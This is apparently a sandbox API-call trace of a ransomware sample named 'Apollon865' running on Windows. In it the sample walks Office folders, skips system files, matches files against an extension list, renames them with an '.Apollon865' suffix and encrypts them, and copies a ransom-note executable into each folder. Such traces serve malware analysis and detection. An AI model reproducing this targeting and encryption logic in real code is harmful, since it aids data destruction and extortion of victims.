	[0075.644] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1
	[0075.644] lstrcmpiW (lpString1="WordMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2=".") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="..") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="windows") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="bootmgr") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="temp") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="pagefile.sys") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="boot") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="ids.txt") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="perflogs") returned 1
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2="MSBuild") returned 1
	[0075.645] lstrlenW (lpString="WordMUI.XML") returned 11
	[0075.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0075.645] lstrcpyW (in: lpString1=0x2d3e606, lpString2="WordMUI.XML" | out: lpString1="WordMUI.XML") returned="WordMUI.XML"
	[0075.645] lstrlenW (lpString="WordMUI.XML") returned 11
	[0075.645] lstrlenW (lpString="Apollon865") returned 10
	[0075.645] lstrcmpiW (lpString1="ordMUI.XML", lpString2="Apollon865") returned 1
	[0075.645] lstrlenW (lpString=".dll") returned 4
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2=".dll") returned 1
	[0075.645] lstrlenW (lpString=".lnk") returned 4
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2=".lnk") returned 1
	[0075.645] lstrlenW (lpString=".ini") returned 4
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2=".ini") returned 1
	[0075.645] lstrlenW (lpString=".sys") returned 4
	[0075.645] lstrcmpiW (lpString1="WordMUI.XML", lpString2=".sys") returned 1
	[0075.645] lstrlenW (lpString="WordMUI.XML") returned 11
	[0075.645] lstrlenW (lpString="bak") returned 3
	[0075.645] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.645] lstrlenW (lpString="ba_") returned 3
	[0075.645] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.645] lstrlenW (lpString="dbb") returned 3
	[0075.645] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.645] lstrlenW (lpString="vmdk") returned 4
	[0075.645] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.645] lstrlenW (lpString="rar") returned 3
	[0075.645] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.646] lstrlenW (lpString="zip") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.646] lstrlenW (lpString="tgz") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.646] lstrlenW (lpString="vbox") returned 4
	[0075.646] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.646] lstrlenW (lpString="vdi") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.646] lstrlenW (lpString="vhd") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.646] lstrlenW (lpString="vhdx") returned 4
	[0075.646] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.646] lstrlenW (lpString="avhd") returned 4
	[0075.646] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.646] lstrlenW (lpString="db") returned 2
	[0075.646] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.646] lstrlenW (lpString="db2") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.646] lstrlenW (lpString="db3") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.646] lstrlenW (lpString="dbf") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.646] lstrlenW (lpString="mdf") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.646] lstrlenW (lpString="mdb") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.646] lstrlenW (lpString="sql") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.646] lstrlenW (lpString="sqlite") returned 6
	[0075.646] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.646] lstrlenW (lpString="sqlite3") returned 7
	[0075.646] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.646] lstrlenW (lpString="sqlitedb") returned 8
	[0075.646] lstrcmpiW (lpString1="dMUI.XML", lpString2="sqlitedb") returned -1
	[0075.646] lstrlenW (lpString="xml") returned 3
	[0075.646] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.646] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.Apollon865") returned 113
	[0075.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.647] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1800) returned 1
	[0075.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.648] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.649] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.649] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.649] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa10, lpName=0x0) returned 0x118
	[0075.650] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa10) returned 0x100000
	[0075.651] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.652] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.652] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.652] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.652] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.653] CloseHandle (hObject=0x118) returned 1
	[0075.653] CloseHandle (hObject=0x15c) returned 1
	[0075.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.653] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0
	[0075.653] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.653] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0075.653] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR"
	[0075.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3338 | out: hHeap=0x580000) returned 1
	[0075.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR") returned 86
	[0075.653] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR"
	[0075.653] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.653] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.657] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x452a5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x452a5f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.657] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.657] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.657] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.658] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x452a5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x452a5f50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.658] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.658] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.658] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.658] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.658] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x452a5f50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x452a5f50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.658] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.658] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.658] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*") returned 88
	[0075.658] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.658] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.658] lstrlenW (lpString="Apollon865") returned 10
	[0075.658] lstrlenW (lpString=".dll") returned 4
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.658] lstrlenW (lpString=".lnk") returned 4
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.658] lstrlenW (lpString=".ini") returned 4
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.658] lstrlenW (lpString=".sys") returned 4
	[0075.658] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.658] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.658] lstrlenW (lpString="bak") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.659] lstrlenW (lpString="ba_") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.659] lstrlenW (lpString="dbb") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.659] lstrlenW (lpString="vmdk") returned 4
	[0075.659] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.659] lstrlenW (lpString="rar") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.659] lstrlenW (lpString="zip") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.659] lstrlenW (lpString="tgz") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.659] lstrlenW (lpString="vbox") returned 4
	[0075.659] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.659] lstrlenW (lpString="vdi") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.659] lstrlenW (lpString="vhd") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.659] lstrlenW (lpString="vhdx") returned 4
	[0075.659] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.659] lstrlenW (lpString="avhd") returned 4
	[0075.659] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.659] lstrlenW (lpString="db") returned 2
	[0075.659] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.659] lstrlenW (lpString="db2") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.659] lstrlenW (lpString="db3") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.659] lstrlenW (lpString="dbf") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.659] lstrlenW (lpString="mdf") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.659] lstrlenW (lpString="mdb") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.659] lstrlenW (lpString="sql") returned 3
	[0075.659] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.659] lstrlenW (lpString="sqlite") returned 6
	[0075.660] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.660] lstrlenW (lpString="sqlite3") returned 7
	[0075.660] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.660] lstrlenW (lpString="sqlitedb") returned 8
	[0075.660] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.660] lstrlenW (lpString="xml") returned 3
	[0075.660] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.660] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.Apollon865") returned 107
	[0075.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.666] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=20577) returned 1
	[0075.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.666] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.667] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.667] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.667] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5370, lpName=0x0) returned 0x118
	[0075.669] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5370) returned 0x100000
	[0075.671] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.672] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.672] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.672] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.672] CloseHandle (hObject=0x118) returned 1
	[0075.673] CloseHandle (hObject=0xc0) returned 1
	[0075.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.673] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2=".") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="..") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="windows") returned -1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="bootmgr") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="temp") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="pagefile.sys") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="boot") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="ids.txt") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="ntuser.dat") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="perflogs") returned 1
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2="MSBuild") returned 1
	[0075.673] lstrlenW (lpString="VisiorWW.XML") returned 12
	[0075.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96
	[0075.673] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="VisiorWW.XML" | out: lpString1="VisiorWW.XML") returned="VisiorWW.XML"
	[0075.673] lstrlenW (lpString="VisiorWW.XML") returned 12
	[0075.673] lstrlenW (lpString="Apollon865") returned 10
	[0075.673] lstrcmpiW (lpString1="siorWW.XML", lpString2="Apollon865") returned 1
	[0075.673] lstrlenW (lpString=".dll") returned 4
	[0075.673] lstrcmpiW (lpString1="VisiorWW.XML", lpString2=".dll") returned 1
	[0075.673] lstrlenW (lpString=".lnk") returned 4
